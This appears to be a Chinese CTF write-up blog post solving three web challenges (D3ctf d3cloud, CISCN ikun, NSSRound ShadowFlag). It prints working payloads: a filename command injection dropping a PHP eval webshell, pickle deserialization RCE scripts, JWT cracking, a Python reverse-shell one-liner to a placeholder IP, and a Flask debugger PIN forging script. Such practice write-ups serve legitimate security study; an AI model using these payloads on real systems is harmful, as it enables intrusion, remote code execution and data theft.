0%

5-8日常

D3ctf-d3cloud复现

打开是一个Laravel页面

1
Laravel是一个基于PHP编程语言的免费开源的Web应用程序框架,它的目标是提高Web应用程序的开发效率和可维护性。Laravel框架使用了现代的PHP开发技术,并提供了丰富的功能和工具,使得开发人员能够更快捷地构建高质量的Web应用程序。

Laravel的管理员默认登录页面为admin

进入/admin,输入admin/admin进入页面

进入media路由,发现一个FilesystemAdapter.php,这个是个插件,可以在其中发现这样一段代码

1
2
3
4
if($file->getClientOriginalExtension() === "zip") {
$fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() . $name ." -d " . $this->driver->getAdapter()->getPathPrefix(),"w");
pclose($fs);
}

直接对文件名进行拼接了,而popen函数可以直接对其中的第一个参数执行命令

1
2
<?php
popen('whoami','w');

第二个参数是必需的

直接修改文件名为:

1
2
1123.zip || echo PD9waHAgZXZhbCgkX1JFUVVFU1RbInNoZWxsIl0pOw== | base64 -d > 
shell.php # .zip

访问shell.php,shell为参数执行命令即可

[CISCN2019 华北赛区 Day1 Web2]ikun

页面提示一定要买到lv6,但两个页面均没有

1
2
3
4
5
6
7
8
import requests

for i in range(1, 1001, 1):
url = "http://node1.anna.nssctf.cn:28316/shop?page="
url += str(i)
x = requests.get(url)
if "lv6.png" in x.text:
print(i)

找到在181页,但是lv6太贵买不起,抓包看看,有一个discount为0.8,将其改为0.0000000000001,放包后出现一个页面只能admin访问,再对其进行抓包,此时需要对jwt进行解密,在kali中利用jwtcrack对其进行解密后,得到密钥为1Kun

并将username修改为admin,替换jwt,提示static/asd1f654e683wq/www.zip

涉及pickle反序列化漏洞

1
2
3
4
5
6
7
8
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

脚本为

1
2
3
4
5
6
7
8
9
import pickle
import urllib
import commands

class payload(object):
def __reduce__(self):
return (commands.getoutput, ('ls /',))# 自python2.6开始被废除
a = payload()
print(urllib.quote(pickle.dumps(a)))

利用这个结果修改become参数,得到目录

1
2
3
4
5
6
7
8
9
10
11
import os
import pickle
import urllib

class exp(object):
def __reduce__(self):
return (eval,("open('/flag.txt').read()",))

a=exp()
s=pickle.dumps(a)
print (urllib.quote(s))

得到flag

[NSSRound#7 Team]ShadowFlag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
flag2 = f.read()
tag = False


@app.route("/")
def index():
with open("app.py", "r+") as f:
return f.read()


@app.route("/shell", methods=['POST'])
def shell():
global tag
if tag != True:
global flag1
del flag1
tag = True
os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
action = request.form["act"]
if action.find(" ") != -1:
return "Nonono"
else:
os.system(action)
return "Wow"


@app.errorhandler(404)
def error_date(error):
sleep(5)
return "扫扫扫,扫啥东方明珠呢[怒]"


if __name__ == "__main__":
app.run()

在shell路由下可以执行命令,但是过滤了空格,并且没有回显,可以尝试反弹shell

巨魔师傅的各种反弹shell集合

可以找到如下命令

1
python3$IFS-c$IFS'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("xx.xx.xx.xx",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

第一个flag:我们可以发现第一个flag是利用open(“/tmp/flag1.txt”, “r”)打开的,而且并没有使用close关闭,那么这个flask还在运行,我们就可以在/proc/[pid]/fd的内存中找到他。一般是存在15-35这个范围,我们一一寻找,最后 在/proc/17/fd/*中找到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cat /proc/16/fd*
cat /proc/16/fd*
cat: /proc/16/fd: Permission denied
cat: /proc/16/fdinfo: Permission denied
$ cat /proc/16/fd/*
cat /proc/16/fd/*
cat: '/proc/16/fd/*': Permission denied
$ cat /proc/17/fd/*
cat /proc/17/fd/*
cat: /proc/17/fd/1: Permission denied
cat: /proc/17/fd/2: Permission denied
NSSCTF{6a530062-bb51
cat: /proc/17/fd/4: No such device or address
cat: /proc/17/fd/6: No such device or address

第二个flag:第二个flag就相对比较麻烦了,因为第二个flag是利用with open(“/tmp/flag2.txt”, “r”) as f:打开的,用with会默认打开使用后关闭这个文件,我们就只能从flask的环境中去寻找flag2这个变量了,大佬们第一个就想到了利用console(这个之前遇到最多的就是在ssti页面报错时进入的页面,其中有命令行功能,但是需要登录),但是利用console需要有Flask的Pin值,我们现在来看如何利用shell来计算Pin值

1
在Flask应用程序中,PIN(个人识别号码)通常用于身份验证目的,以确保只有授权用户可以访问受保护的资源或执行受限操作。例如,您可以要求用户输入他们的PIN码来访问他们的账户,或者要求员工输入他们的PIN码来访问内部系统或执行敏感操作。

先看看脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# sha1算法,适用于高版本flask

import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # 报错得到
]

private_bits = [
str(int("02:42:ac:02:67:22".replace(":",""),16)),# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
"e0ad2d31-1d21-4f57-b1c5-4a9036fbf235"+"a6a621a203a0e17ad7befe8cea9d6407f942b5bd98dcc1fad940d33632c07dea"# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

然后到刚刚那个报错页面找到/home/ctf/app.py,点击命令行图标,输入pin值,执行flag2命令即可得到后半段flag

img